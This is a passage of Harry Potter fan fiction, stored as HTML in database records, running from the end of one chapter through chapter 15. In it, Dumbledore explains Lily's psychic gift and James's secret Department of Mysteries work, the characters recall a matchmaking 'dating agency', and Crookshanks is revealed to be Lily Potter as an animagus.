lasted two hours, I think." \n</p><p>\n"Hermione," interrupted Dumbledore, "why didn\'t you tell me or the Ministry? There would have been no need to break in, then. We could have done it legitimately." \n</p><p>\n"Exactly. The minute the Ministry is involved is when the press comes in. Voldemort sees what we\'re after, and as soon as you are out of the country, he kills Harry before you can get hold of the curse. The whole element was surprise." \n</p><p>\n"Yes, I see that. What did you do when you returned to Hogwarts?" \n</p><p>\n"Well, I thought that my ability to communicate with Harry was something to do with telepathy. I looked it up in the school library. I eventually found something that fitted. Harry and I have the Unbreakable Link." She looked anxiously at Dumbledore. He didn\'t look surprised, "I see. Is everyone familiar with that term?" \n</p><p>\nSirius and Ron nodded. Arabella said, "So that\'s how come you knew about the Unbreakable Link in that Defence against the Dark Arts lesson, Hermione." \n</p><p>\n"That\'s right. I knew then that I had to fight Voldemort. I knew the curse to protect Harry and together we could defeat him through the Link." Hermione paused and Harry helped her out, "Then I remembered the other dream I had had, about Voldemort and Estella having a daughter and the prophecy made about me and her." \n</p><p>\n"What is this prophecy?" asked Arabella. \n</p><p>\n"That the son of light and the daughter of dark will together defeat either the dark or the light." \n</p><p>\nRon\'s eyes nearly popped out of his head. He seemed to have just realised something, "Oh! You don\'t mean...that Hermione..." \n</p><p>\n"-is Voldemort\'s daughter?" nodded Dumbledore. \n</p><p>\n"Yes," she replied, shrugging lightly and meeting no one\'s eyes. \n</p><p>\nRon fell back in his armchair and shook his head, "I need to think about this." \n</p><p>\n"Hermione\'s not done anything wrong," said Harry hotly, "She just killed Voldemort for heaven\'s sake!" \n</p><p>\n"Yeah, yeah! I\'ll think about it later. Carry on!" \n</p><p>\n"Did you know I was Voldemort\'s daughter?" Hermione asked Dumbledore. \n</p><p>\n"I thought you best fitted the description," he replied with a small smile. \n</p><p>\nHermione looked nervously about, "Will I be expelled?  I doubt you like me very much just now." \n</p><p>\nDumbledore shook his head, "Not all Slytherins are bad, Hermione.  You are living proof of that.  I have absolutely no intention of expelling the best head girl Hogwarts has seen for many a day!"\n</p><p>\nHermione positively wilted with relief.  "I was so afraid... Shall I continue?" \n</p><p>\n"If you\'re up to it." \n</p><p>\n"Well, there\'s nothing really more to say. We went to Castle Squear, which was really Voldemort\'s-" \n</p><p>\nDumbledore interrupted, "I must apologise for putting you once more in Voldemort\'s power. My skills are diminishing, I\'m afraid." \n</p><p>\n"Oh, no! Not at all! You couldn\'t have known. Anyway, we met Estella Green." \n</p><p>\n"I imagine that must have been interesting." \n</p><p>\n"It was," said Harry. "She seemed, I dunno, good but evil at the same." \n</p><p>\nSeeing that Dumbledore didn\'t look as if he understood, Harry elaborated further, "She looked just like the typical death eater, but she seemed on our side, as it were. I trusted her, you know. Didn\'t you feel it, Hermione?" \n</p><p>\n"Oh, ye-es, yes I did," replied Hermione. "She\'s my mother!"  Harry did not really know where to look. \n</p><p>\n"Anyway, we fought Voldemort and then you came and that\'s about it," finished Harry. "The most bizarre thing is that I didn\'t die when he said \'Avada Kedavra\'!" \n</p><p>\n"What happened exactly?" asked Sirius. \n</p><p>\n"I did the Epithanos spell substituting Thanos with Avada Kedavra on Harry and myself," answered Hermione, "and when Voldemort tried to kill Harry, the green light shot out of his wand, you know. However, instead of hitting him in the chest, it covered him in it. It was very bright. Then after a few seconds it disappeared. The spell worked." \n</p><p>\n"You\'ll be quite famous, Hermione, for having discovered that. I imagine the Ministry will want to offer both you and Harry awards, actually,"said Dumbledore with a smile. \n</p><p>\nHarry and Hermione looked at each with surprise on their faces. \n</p><p>\n"The Department of Experimental Charms will have fun with the counter curse. I almost wish I was a member of that department and not an Auror," sighed Arabella. \n</p><p>\n"Did You-Know-Who really die?" asked Ron. \n</p><p>\n"He disappeared. But- oh, Professor, you\'ll want to know how he disappeared," said Harry. \n</p><p>\nDumbledore smiled sadly, "I already know. I have seen the effects of killing someone with the Unbreakable Link many times. I did it myself." \n</p><p>\n"You!" said Sirius. No one seemed to believe it. Only Hermione didn\'t look surprised. \n</p><p>\n"I didn\'t know you had the Unbreakable Link. Who with? This is news! Why didn\'t you tell us?" cried Sirius. \n</p><p>\n"There\'s no use of it now. Aïda\'s dead. She died many years ago. It all happened before you were born. She died in... May \'65." \n</p><p>\n"May 1965! What day?" \n</p><p>\n"Er...she was found on the 17th, but we think she was actually killed on the 16th." \n</p><p>\nSirius and Arabella looked at each other. \n</p><p>\n"You what I\'m thinking, Sirius?" \n</p><p>\n"That if she\'d died a day earlier then her deathday would have been the same as Lily\'s birthday." \n</p><p>\n"My mum was born on the 15th May 1965?" asked Harry. How strange that he had never thought of finding out his mother\'s birthday, "She was just twenty-one when she had me then." \n</p><p>\n"Yes," replied Dumbledore gravely. "Your parents were very young." \n</p><p>\n"Professor," asked Harry suddenly, "why were my parents killed? You said you\'d tell me when I was older. Am I old enough now? And I\'ve heard that my mother did not need to die. Is that true? Please tell me now." \n</p><p>'),
	(62, 14, '<p><i>Once upon a time there was an author called JK Rowling who wrote the HP series.  I didn\'t...</i></p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\nChapter 14- Of Dating Agencies and Domini\n</p><p> \nHarry peered anxiously at Dumbledore. \n</p><p>\nHe replied, "You are old enough now, Harry, if you are sure you want to know. Some of the things you will find out, you may not like." \n</p><p>\n"I want to know." \n</p><p>\n"Perhaps..." Dumbledore turned to Ron and Hermione, "perhaps you should-" \n</p><p>\n"No. Let them stay. I want them to hear," interrupted Harry. \n</p><p>\nDumbledore made no reply and leaned back in his chair, "Your mother did not need to die, Harry. However, it would have been very helpful for Voldemort to eliminate her. I\'m sure he went to Godric\'s Hollow with the intention of killing her as well." \n</p><p>\n"Why?" \n</p><p>\n"Your mother was what is known as a psychic." \n</p><p>\n"A what?" \n</p><p>\n"A psychic. A person who to some degree can predict the future." \n</p><p>\n"My mum was a seer?" asked Harry in surprise. \n</p><p>\n"Not exactly. Your mother was quite a peculiar psychic." \n</p><p>\n"In what way?" \n</p><p>\n"A psychic is a person who can see things which are invisible to the normal eye. A sixth sense, you could say. People have varying degrees of it. Some people can tell that something is slightly out of place. I knew a psychic who could tell when the ink in a pen was run out. Then there are the great psychics who can predict the future. Claire de Montford, a French seer of the 18th century predicted that a great war would start on the 4th August 1914 and last for four years." \n</p><p>\n"And my mother?" pressed Harry. \n</p><p>\n"Well, your mother wasn\'t a seer-" \n</p><p>\nSirius snorted, "You can say that again! She was dreadful at Divination- she really hated it." \n</p><p>\n"Yes," added Arabella, "do you remember when she threw the teacup at Professor Trelawny?" \n</p><p>\n"No, did she? I was sensible, you see. James and I didn\'t take Divination." \n</p><p>\n"So how do you know she hated it?" \n</p><p>\n"Well, if you\'ve got someone doing their homework next to you and every five minutes they start an ostinato of, \'I hate Divination! Divination is a waaste of time! Why are we studying Divination? Professor Trelawny is a fake!\' then you begin to get an idea." \n</p><p>\n"Your mother threw a teacup at Professor Trelawny?" said Hermione in a voice that suggested admiration. \n</p><p>\n"If she couldn\'t tell the future, what could she do then?" said Harry, reverting back to the original topic and ignoring Hermione. \n</p><p>\n"It\'s difficult to say. Some people thought that her powers weren\'t those of a psychic at all." \n</p><p>\n"And..." punctuated Harry. \n</p><p>\n"Professor Dumbledore could get on so much faster if you didn\'t keep interrupting him, you know." \n</p><p>\n"Thank-you, Hermione. Anyway, to cut a long story short, your mother, Harry, was, I think the only word to describe it is perceptive. She was extremely perceptive." \n</p><p>\n"Perceptive?" \n</p><p>\n"Yes. She couldn\'t predict things at all, but to some extent she could predict the very near future of people. Not just their future, but their characters and their deepest secrets." \n</p><p>\n"Wow," breathed Harry. \n</p><p>\nArabella licked her lips, "She also knew some things about people that they didn\'t know themselves. Hence the dating agency. She could tell who was in love with whom, even if they didn\'t know themselves. The way it worked was that she would tell me who was in love with whom and tell me their characters and I would devise a way of getting them together so that they wouldn\'t know it wasn\'t them. It always worked too." \n</p><p>\nSirius laughed, "And the things they came up with Harry, you\'d never believe. We gave them all names, \'remember Bella?" \n</p><p>\n"Yeah, the Quidditch phobia system-" \n</p><p>\n"What\'s that?" asked Harry. \n</p><p>\n"Oh, that\'s one of the most clichéd techniques ever. Here\'s an example. John and Jane fancy each other but for some reason they aren\'t together yet. Lily finds out the following info: John is fond of quidditch and is on the house team. Jane however, is not good at quidditch, is scared of heights, whatever. During John\'s quidditch practice, Sirius as Padfoot chases Jane up a high tree near the quidditch pitch. There\'s an excellent tree made just for that purpose- easy to climb up, but not so easy to climb down! Anyway, Jane is stranded up the tree with a fear of heights. So naturally she starts crying, shouting for help etc. As the quidditch ends John must pass the tree and sees the object of his secret affection. There is nothing so becoming as a female in distress. He jumps on his broom and rescues her. When they reach the ground John will help Jane off the broom and just remain holding her hand, the way one does. Then Jane will say, staring into John\'s eyes, \'Oh John, you rescued me! My hero!\' or words of that sort. By this time, mind, it will be dusk. John will reply softly taking her other hand, \'Oh Jane...\' And that\'s about it." \n</p><p>\n"Did it work?" asked Hermione skeptically. \n</p><p>\n"Oh yes! It was amazing how often it went exactly like that." \n</p><p>\nHarry laughed, "It sounds really good fun." \n</p><p>\n"Oh, it was." Arabella smiled with a far-away look in her eyes. \n</p><p>\nDumbledore looked at his watch in a significant way, "Well, I was never quite sure just how Fruitful Heavens opperated and I was very interested to hear about it. However, time is getting on and if we want any sleep tonight I suggest we continue." \n</p><p>\nHermione re-opened the conversation, "I don\'t understand, Professor. If Mrs. Potter could read characters like this, why didn\'t she know Wormtail was betraying her?" \n</p><p>\nDumbledore frowned, "As always a good question, Miss Granger. That I don\'t know." \n</p><p>\n"I do," this was Sirius. "She didn\'t know Peter had changed sides because she promised very early on not to read either me, Bella, James, Remus or Peter ever in that way." \n</p><p>\n"And she always kept her promises." finished Arabella. \n</p><p>\n"And could she then predict that Voldemort was going to kill me as well?" asked Harry after a short silence. \n</p><p>\n"It\'s very possible," replied Dumbledore, "that she decided to save you in cold blood as it were. She was very clever, was your mother, she\'d have been perfectly well aware of the consequences if she died to save you." \n</p><p>\n"She must have been very brave to decide to do that," said Hermione. \n</p><p>\nNo-one replied. Eventually Harry said, "So Voldemort killed my mother because she could have betrayed loads of his spies to you?" \n</p><p>\n"That\'s right." \n</p><p>\n"So why did he kill my father?" \n</p><p>\nDumbledore looked around the room then turned to Sirius and Arabella, "Do you know?" \n</p><p>\nArabella frowned, then her face cleared, "Oh, you mean DOM?" She said it in a slightly hushed voice, like she was saying something forbidden. \n</p><p>\nHermione gasped and Dumbledore noddded. Ron frowned, "I\'ve heard that before, but I can\'t think where..." \n</p><p>\nHarry had no idea what they were talking about. Not for the first time he wished he hadn\'t been brought up by muggles. \n</p><p>\nDumbledore looked piercingly at Harry, Ron and Hermione, "What I am about to say is top secret information and must be on no account whatsoever revealed to anyone. Is that understood?" \n</p><p>\nHarry, Ron and Hermione nodded. \n</p><p>\nDumbledore turned to Sirius, "Who else did he tell apart from you?" \n</p><p>\n"Lily," replied Sirius, "no-one else. He didn\'t tell Remus or Peter." \n</p><p>\nArabella spoke again in that same hushed tone, "We took ages to persuade <i>them</i> that the fact James was married was OK. <i>They</i> don\'t like their members to be married except to other members. We did persuade them in the end that Lily was suitable though." \n</p><p>\nHarry felt a shiver run down his spine. Who were <i>they</i>? And why did they object to marriage? \n</p><p>\nDumbledore was speaking, "Have you ever heard of the Department of Mysteries?" \n</p><p>\nHarry nodded. \n</p><p>\n"Do you know what they do in that department?" \n</p><p>\nHarry shook his head. \n</p><p>\n"Do you know who works there?" \n</p><p>\nAgain Harry did not know. \n</p><p>\n"Do you know how big it is?" \n</p><p>\n"Well, no-one knows anything at all about it, do they?" asked Hermione, "that\'s why it\'s called the Department of Mysteries, because no-one knows." \n</p><p>\n"Your father, Harry," said Dumbledore, "worked in the Department of Mysteries." \n</p><p>\nHarry\'s mouth formed an \'O\' shape, but he said nothing. \n</p><p>\nDumbledore continued, "No-one knows what happens in the Department of Mysteries, or DOM for short unless they themselves are a member. Even then most don\'t know everything." \n</p><p>\n"So how do you know?" asked Ron. \n</p><p>\n"I was myself offered a place in DOM. I turned it down because I had also excepted the post here as Transfiguration teacher.  I wanted to dedicate my time to education." \n</p><p>\n"And what actually goes on in the Department of Mysteries?" \n</p><p>\n"Well, they work a little like Aurors. Arabella, if you could just give us a breif on the job of an Auror." \n</p><p>\nArabella folded her hands in front of her and recited clearly, "An Auror must protect the general wellfare of the magic populus and free the state from unforseen danger. He must work against crime and faithfully serve the current Minister of Magic." \n</p><p>\n"You forgot something." said Sirius. \n</p><p>\n"Did I? Oh yes, and an Auror may not use the Unforgivable Curses except in exceptionable circumstances and when advised to do so by their superior." \n</p><p>\n"Where in the world did that come from?" asked Harry. \n</p><p>\n"The Junior Auror Handbook Level One, Section A, pages 13 and 29. It\'s the sort of thing you remember." \n</p><p>\n"So what does the Department of Mysteries do?" \n</p><p>\n"The members of the Department of Mysteries work undercover," replied Dumbledore, "Whereas Aurors are like your plain bobby on the beat ("your what?" from Ron), the DOM members, the Domini as we call them work undercover. They hunt for things that don\'t fit the normal pattern, for things that aren\'t quite right. Then they investigate them, and well, the enemy usually comes out worse for wear if they come out at all. Domini have a licence to kill, though they don\'t use it often." \n</p><p>\n"Did my dad kill anyone?" \n</p><p>\nSirius shrugged, "James didn\'t talk to us about his job much. He didn\'t mention if he\'d killed anyone. I hope he didn\'t." \n</p><p>\n"Whether he killed anyone or not," Dumbledore continued, "James was a good Dominus. That\'s why he was at the top of Voldemort\'s hit list." \n</p><p>\n"But how did Voldemort know about the Department of Mysteries?" enquired Hermione. \n</p><p>\nDumbledore sighed, "To this day I don\'t know. There was a fly in the ointment. That\'s all. Someone who was in the know was betraying DOM. People were disappearing more often than before. James and Cidilla were very worried. They were sure they were the next target. I got them both Secret Keepers. Cidilla survived; James didn\'t." \n</p><p>\n"Who was Cidilla?" asked Harry. \n</p><p>\n"Ah, Cidilla French was James\' partner, and a very good Domina she was too." \n</p><p>\n"What do you mean?" \n</p><p>\n"The Department of Mysteries on the first level, that which James got to is divided into groups of six people and a group leader. The group leader is responsible for his or her Domini, for their missions etc... He or she receives orders from the next level and passes them on to the Domini. The group leader is called a Princeps or Principa. There are three Domini and three Dominae for each group. They always work in pairs. This is because it is so much easier to escape notice as a couple sightseeing on holiday, than alone. Cidilla was James\' partner." \n</p><p>\n"Why did they disapprove of marriages?" asked Hermione. \n</p><p>\n"Because the Dominus or Domina would confide in their spouse which they don\'t like, and the Dominus would be in love with their spouse and therefore not notice if she was, say, a gossiping type. It took us a long time to persuade James\' Princeps that Lily could hold her tongue, fight and win a duel, disguise herself, solve riddles; everything that would be needed. In fact, when they knew her they thought she was a perfect wife for a Dominus." \n</p><p>\nHermione frowned, "So how big is the whole department and is it controled by the Ministry?" \n</p><p>\n"That\'s the clever thing. No-one knows. The Domini only know their group and their Princeps, no-one else. The Principi know a bit more, I don\'t know how much. I don\'t know how many Domini there are, I don\'t know who DOM is controlled by, it\'s definitely not the Ministry, however." \n</p><p>\n"How is that clever?" asked Harry. \n</p><p>\n"Oh come on, Harry, use your brain. If you don\'t know your fellow comrades then you can\'t betray them, can you?" This was of course Hermione. \n</p><p>\n"My dad must have been very young when he started," mused Harry. \n</p><p>\n"He was," replied Dumbledore grimly, "he was enrolled at his Laurels\' Ceremony. They like them young because they don\'t often survive very long." \n</p><p>\n"It all sounds very grim," said Ron. \n</p><p>\n"Well in a sense it was. However, Domini were often sent round the world and it is well paid. Very well paid. That\'s where you got your fortune from, Harry." \n</p><p>\n"It would have to be well paid, considering the risk," put in Hermione. \n</p><p>\nA silence set in. Harry didn\'t know what to think. His mother had been psychic and his father had been, there was no other word for it, a spy. And he had been killed because of it. \n</p><p>\nRon yawned heavily and Dumbledore stood up, "I must see Severus and Minerva now and put them in the picture. I\'ll leave you together a bit; I\'m sure you must have a lot to discuss, but I want you in bed by ten thirty.  Go to the hospital wing, tonight." \n</p><p>\nHarry glanced at his friends and nodded. Sirius and Arabella chorused, "Yes, Professor!" \n</p><p>\nDumbledore told them again that they had all shown great bravery and initiative in what they had dealt with that day and it should not go unoticed, before leaving the roon. \n</p><p>\nArabella shifted her slightly on the piano stood. She remarked gravely, "Professor Dumbledore was right, you know-" before she was interrupted wearily by Hermione, "Oh, please can we talk about something else?" \n</p><p>\nArabella looked surprised, "Well, all right if you want. What do you want to talk about?" \n</p><p>\nHarry replied immediately, "Tell me something more about the dating agency." \n</p><p>\nSirius and Hermione groaned audibly. \n</p><p>\nArabella laughed, "You\'re really interested, aren\'t you? Well, fetch the photo." Harry did so. "What are all those things written at the bottom of the stall?" he asked. \n</p><p>\n"Those? Ah, you see, if you think running a dating agency is a slightly frivolous thing to do." She glanced at Hermione who was vigorously nodding, "then you\'re wrong! It was very interesting, and my knowledge of people was built from it to a very great extent. Lily and I discovered that all the people who came to our help, or we helped without their knowing, fell invariably into six categories." \n</p><p>\nSirius groaned again, "Here she goes." \n</p><p>\n"Which were?" asked Harry. \n</p><p>\n"Look at the photo. They\'re written at the bottom." \n</p><p>\n"Um...it says...\'Are you\'...er...\'In separate houses\'...arrow...\'Romeo and Juliet?\' What does that mean?" \n</p><p>\n"Here\'s an example. John of Slytherin loves Jane of Gryffindor but the enmity of the two houses is too great to let them dare a date. Hence the Romeo and Juliet idea. Next." \n</p><p>\nHarry read on, "er...\'Always quarreling\'...arrow...\'Love slash hate?\'" \n</p><p>\n"Yes. John and Jane are always arguing but actually they fancy each other deep down. Go on." \n</p><p>\n"Erm...\'Too shy\'...arrow...\'Are you a wallflower?\'" \n</p><p>\nArabella explained, "John likes Jane, but she\'s probably older than him and he can\'t manage to ask her out." \n</p><p>\nRon snorted, "That\'s Harry about Cho all right!" \n</p><p>\n"Ha ha. Very funny," Harry said with a fake grin. "Anyway...\'Best friends\'...arrow...\'Don\'t-want-to-spoil-the-oh-so-innocent-frienship?\' What on earth?" \n</p><p>\n"It does look a bit ludicrous, doesn\'t it? But believe me, it\'s awfully popular. John likes Jane but so far they\'ve been best friends. Now John\'s afraid that Jane won\'t like him in any way if he tells her about his real feelings." \n</p><p>\nHarry raised his eyebrows but continued the list, "\'Ignored\'...arrow...\'Your prince hasn\'t noticed you yet?\'" \n</p><p>\n"I can guess that," said Ron, "it\'s what Ginny thinks every night about Harry." \n</p><p>\nHarry looked daggers at Ron but Arabella looked amused, "Does your sister fancy Harry? Hmm...Carry on, Harry. Last one." \n</p><p>\n"\'A triangle\'...arrow...\'We both love her!\'" \n</p><p>\n"Now that occured so often. John and Tom both like Jane, or John likes Jane but she\'s already going out with Tom. You know... Anyone who didn\'t fit into these categories didn\'t need our help." \n</p><p>\n"What solutions did you have?" asked Harry. \n</p><p>\nSirius laughed and was soon joined by Arabella, "Oh some of our ideas we came up with were simply hilarious. Oh Sirius, do you remember the Hufflepuffs and the dog lead? It\'s all coming back!" \n</p><p>\n"The Hufflepuffs and the dog lead?!" queried Harry incredulously. \n</p><p>\nArabella\'s elbow collapsed loudly onto the piano keys as she laughed, successfully stopping her mirth and waking Hermione up. \n</p><p>\n"That was one of our best ideas. It\'s done so often in films, but I never thought it would actually work... Anyway, Lily and I worked on the principle that if you get a couple accidentally in each other\'s arms then nature would work the rest. We had a problem with two Hufflepuffs who were in the \'best friends\' syndrome. We hatched the following plan. It was a Hosmeade weekend and, what were their names, oh...what were they? Got it! Terence and Adela! Terence and Adela were going into Hogsmeade together. What was more natural then, for Lily and I to go in as well walking a dog, Padfoot on an extendable lead?" \n</p><p>\n"I think I see where this is heading..." said Harry trying to suppress a grin. \n</p><p>\n"What was more natural than, just when Terence and Adela were walking in front of us, for Padfoot to suddenly chase a rat that ran across the street in front of Terry and Adela. The rat, of course being frightened, just happened to rush in circles and Padfoot therefoot chased it in cicles as well. And what was more natural than for Terry and Adela (who we ascertained was scared of rats) to cling to each other in fright, while the extendable lead wound round their legs?" (Ron snorted at this point) "At that moment, just when they\'re in danger of falling over the lead being so tight, a very ashamed and out of breath Remus Lupin comes out from behind a building saying, "Is that my rat? Oh dear, I see he\'s caused some trouble," and picks up the rat. Lily and I unwind the dog lead and apologise profusely for Madame Rosmerta\'s cousin\'s son\'s dog which we were walking. Of course neither Terry nor Adela is listening, having just discovered that their friendship has changed slightly. Another success for Fruitful Heavens!" \n</p><p>\nEven Hermione, who had told herself that she wasn\'t going to listen, found herself smiling at the end. \n</p><p>\nHarry laughed, "Did you really do that?" \n</p><p>\nArabella nodded, "Of course we did!" \n</p><p>\n"Why was the agency called \'Fruitful Heavens\'? It sounds a bit corny if you ask me." \n</p><p>\n"Ah, it comes from out names. A fig is a fruit, so Fruitful and Heavens sounds like Evans. And yes, it sounds corny on purpose. Isn\'t a dating agency pretty corny in the first place?" \n</p><p>\nSirius looked at his watch, "Er, Arabella, I know Dumbledore said we could have till half past ten, but I think some of us are rather tired." He stifled a yawn himself and glanced at Hermione who looked as if she wasn\'t completely rivited by the discussion. \n</p><p>\n"Well, you can go to bed, Sirius, no-one\'s stopping you." \n</p><p>\nSirius didn\'t budge. \n</p><p>\n"Hmm I thought so." Arabella ran a hand over the piano keys in an arpeggio, "Here, I\'ll play you all something to wake you up." \n</p><p>\nStill facing sideways, she attacked the famous Minuet in G with great panash. \n</p><p>\nSirius groaned, "Can\'t you play anything else?" \n</p><p>\n"Sure." She sat down down properly and coughed, "The great Arabella Figgarotti will now play Beethoven\'s Moonlight Sonata for pianoforte." \n</p><p>\nSirius groaned even more, "Do you really think that\'s going to wake us <i>up</i>?" \n</p><p>\nArabella ignoed him and started drumming out the sonata. Far from waking Harry up, his eyes seemed to close of their own accord. He was sure he would have fallen asleep if, just when Arabella had started the Right Hand and pumped the pedal, there was a squeal from under the piano and Crookshanks who had been dozing on the pedals ran out and into Hermione\'s lap. Everyone sat up, fully awake now and Arabella immediately left off playing, "Oh the poor cat. Is he all right?" \n</p><p>\nHermione nodded, "I think so. He just got a shock." \n</p><p>\nCrookshanks certainly seemed shocked. He scrabbled around in Hermione\'s arms and actually scratched Arabella when she tried to pick him up. Arabella, however, kept a tight grasp on him, "Whoa old thing. I gave you a shock, didn\'t I? No need to scratch me to pieces though." \n</p><p>\nHermione apologised, "He hasn\'t been like this for years. I can\'t understand it." \n</p><p>\n"No, the last time was with Scabbers," Ron commented. \n</p><p>\nArabella looked at Crookshanks properly, "Oh, so this is the famous Crookshanks then, is it? I\'ve heard all about you." She was holding him at arms\' lengh and then she frowned. She turned him upsidedown and rummaged in his long fur. \n</p><p>\n"Hey-" began Hermione. \n</p><p>\n"It\'s OK, Hermione. I know what I\'m doing. My mother always has had an average of ten cats at one time. I know something about them, and it seems...rather more than the person who sold you him. This cat is a female, Hermione." \n</p><p>\n"Er...oh." said Hermione. \n</p><p>\nArabella couldn\'t have been frowning more, "Sirius, look at this cat. Doesn\'t it remind you of anything?" \n</p><p>\nSirius shrugged, "I can\'t say it does. Should it?" \n</p><p>\n"I don\'t know." Arabella stared at the cat thoughtfully a minute, "Bizarre, definitely bizarre. I could have sworn... How old is this cat, Hermione?" \n</p><p>\n"I don\'t know. I bought him, I mean her in Diagon Alley it must be five years ago. The previous owners had been a wizard who had had Crookshanks for three months. Then she got in a mood and the wizard had to sell him to the pet shop. Before that she beonged to cousins of that wizard. They were muggles and they had Crookshanks for about twelve years." \n</p><p>\n"Twelve years! That\'s an awfully long time to have a cat that was mature when she arrived. That\'s seventeen altogether. What about before then?" \n</p><p>\n"I don\'t know." \n</p><p>\n"Crookshanks is a very old cat if he was fully grown when he came to those muggles." \n</p><p>\n"He doesn\'t behave like an ancient feline," mused Sirius. \n</p><p>\nCrookshanks was certainly being very lively in Arabella\'s arms of steel. \n</p><p>\n"Why can\'t we just leave it?" asked Hermione. "Crookshanks is very old. All right. Let\'s go to bed now, I\'m tired." \n</p><p>\n"Wait a moment, Hermione. Sirius, don\'t you think it\'s odd. Crookshanks is accounted for for seventeen years. Harry is seventeen. And don\'t you recognise the cat?" \n</p><p>\n"You\'re not trying to suggest that Crookshanks is actually Harry\'s long lost twin sister are you?" guffawed Sirius. \n</p><p>\n"Nonsense! Harry doesn\'t have a sister. But I do think she may be an animagus." \n</p><p>\n"Crookshanks, an animagus!" cried Harry. \n</p><p>\n"Ever get the impression history is repeating itself?" Ron muttered, "first Scabbers, then Crookshanks. What about Hedwig?" \n</p><p>\nArabella sighed, "If I didn\'t know better, I\'d say this was definitely an animagus. However, I do know better. Still..." Arabella shook her head, dissatisfied, "Well anyway, it\'s odd." \n</p><p>\n"There\'s no harm in checking, is there?" asked Harry. \n</p><p>\nHermione snorted, "That\'s my cat you\'re talking about!" \n</p><p>\n"But you know Sirius, it\'s absolutely impossible it could be, well, who it would have to be." \n</p><p>\n"I don\'t know who it could be, Arabella," said Sirius sounding like he was explaining something to a very young child. \n</p><p>\nHermione interrupted, "This doesn\'t make sense! The only recorded animagus that is a cat is Professor McGonagall and she\'s a tabby! Are you saying that there is yet another unregistered animagus apart from the four marauders?" \n</p><p>\nArabella looked at Sirius for confirmation. He glared at her, "For heaven\'s sake, stop looking at me! I don\'t know anything about unregistered ginger cats. Crookshanks is clearly a highly powerful magical cat, but I wouldn\'t go as far as to say an aimagus." \n</p><p>\n"You mean you didn\'t know?" \n</p><p>\n"No, I didn\'t know and I still don\'t," replied Sirius, exasperated. \n</p><p>\nArabella stared at him, "Wow, I\'m the only person in the world who was told. Amazing! Hermione, I apologise in advance for your possibly losing your cat. If I\'m wrong, which I hope I am, for the alternative is rather far-fetched, then there\'ll be no harm done. Anyway Sirius, will you perform the spell while I hold her or vice versa? I think I\'d better keep a grasp on her, since I know more about cats...good girl..." \n</p><p>\nThis last remark was made because Crookshanks was now behaving very well in Arabella\'s arms. Sirius raised his wand and Arabella took one arm away from the cat to scratch her head and whisper, "Now this won\'t hurt at all, <i>as you probably know</i>," she added grimly. Arabella\'s grip relaxed and Crookshanks took that opportunity to jump out of her captor\'s embrace. There was a slight pop as Crookshanks proved herself to be an animagus. \n</p><p>\nSirius\' jaw dropped and Arabella looked both worried and disbelieving. Ron made a face and pointed his finger at her mouthing, "You!" Harry, if it was possible, started forward and backward at the same time. Hermione looked first a little shocked then nodded her head once, without removing her eyes from the face of the beautiful stranger. \n</p><p>\nShe was quite middle height and she wore a dirty pink dress. Her face was pale and fine boned. Her hair was the very finest light gold; every brunette hair dyer\'s dream colour. Apart from the fact she was looking rather stunned, her face was handsome and betrayed intelligence. She must have been a little under forty. She was blinking quite a lot, but between blinks you could tell that her eyes were the colour of a well cared for aspidistra, or sparkling emeralds, depending on preference. \n</p><p>\nTo cut short a long description; Lily Potter stood in Arabella\'s office. \n</p><p>'),
	(62, 15, '<p><i>In the beginning there was canon, and the canon was by JK Rowling...</i></p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\nChapter 15- The flower that never withers\n</p><p> \nHarry\'s mind seemed to have jammed, then he cried, "Mum!" and would have jumped into her arms had not Hermione grabbed the back of his robes. "What?" \n</p><p>\n"Harry, what\'s the chance that that\'s actually your dead mother? Come on, don\'t be hasty." \n</p><p>\nHarry sat back down. Lily didn\'t look like what he\'d thought his mother would look like. She looked too young. He had thought of her as rather like Mrs. Weasley. Lily looked too much like one of those young mothers he had seen advertising nappies on Dudley\'s TV. Apart from the fact she was dirty and looked tired, of course. Then he remembered that she must be only 38 years old. She was young. \n</p><p>\nHermione\'s voice had broken the silence. Arabella took out her wand and said slightly horsely, "Um... I\'ll just check for dark arts. If you really are Lily, then you\'ll understand." \n</p><p>\nLily swallowed hard and Harry heard her real voice for the first time. Although it sounded rusty and unused, it was a bossy voice, tinged with a bit of irony, "Yes, of course, Arabella. Better get that over with. I quite appreciate your doing it. Infact, I\'d think you were a fraud if you didn\'t take those precautions." She looked gravely around at the people in the room. When her eyes came to rest on Harry she smiled slightly. Her eyes were soft and her gaze was fond. Arabella started doing the anti-dark arts tests. Eventually she shook her head, "It seems that you\'re all right. But we must be sure... Sirius?" \n</p><p>\n"Yes?" \n</p><p>\n"Think of something really really stupid and don\'t tell us." \n</p><p>\nSirius looked completely baffled. "OK, I\'ve thought of something," he said a few seconds later. \n</p><p>\n"Right, if you are Lily Evans Potter, what\'s Sirius thinking of?" \n</p><p>\nLily laughed a little but it sounded exasperated. She looked at Sirius neutrally with her head on its side, "Sirius...is thinking... what was that delightful word you used... thank-you, how ludicrous Snape would like in a pink tuxedo with red poka dots and matching hair. Charming, Sirius." \n</p><p>\n"Is that right, Sirius?" \n</p><p>\n"Spot on, Arabella," Sirius replied shrugging. \n"Well really, Arabella," said Lily, a twinkle that looked oddly familiar in her eyes, "doing that would have been the first thing I\'d have thought of in your situation." \n</p><p>\n"Well, we didn\'t all get 117% in our NEWTs!" \n</p><p>\n"Still smarting about that 99% are you?" \n</p><p>\nThe two women suddenly realised what they had both said. Arabella\'s face burst into a smile and she threw her arms round Lily\'s neck. </p><p>\nWhen they broke apart Sirius cried, "Er, hi Lily." \n</p><p>\n"Evening, Sirius. Nice to communicate with you other than through miaows." \n</p><p>\nHarry felt he should say something but his mouth seemed to have dried up. Hermione did the talking for him, "Have you forgotten Harry, Mrs. Potter?" she cried angrily. \n</p><p>\nLily looked at Harry and smiled. "Of course not!  I imagine this must be quite a shock to you. However, believe me, Harry, I\'ve wanted to talk to you for years." She gave him a hug and kissed the top of his head. \n</p><p>\n"Hey wait a minute!" said Sirius frowning, "I\'ve got a few questions for you." \n</p><p>\n"Me too!" added Harry. \n</p><p>\n"Me three!" Arabella put in with a sharp nod of her head. \n</p><p>\nLily sat down on the arm of Harry\'s chair, with her arm around him, "Yes. I imagine you do have some queries. You want to know a how come I\'m not dead, and b why, since I\'m alive, I\'ve not shown myself before now." \n</p><p>\nSirius muttered something like, "Psychics. Always the same. Showing off what they know." \n</p><p>\nLily replied sharply, "You\'re wrong, Sirius." \n</p><p>\n"Er..." 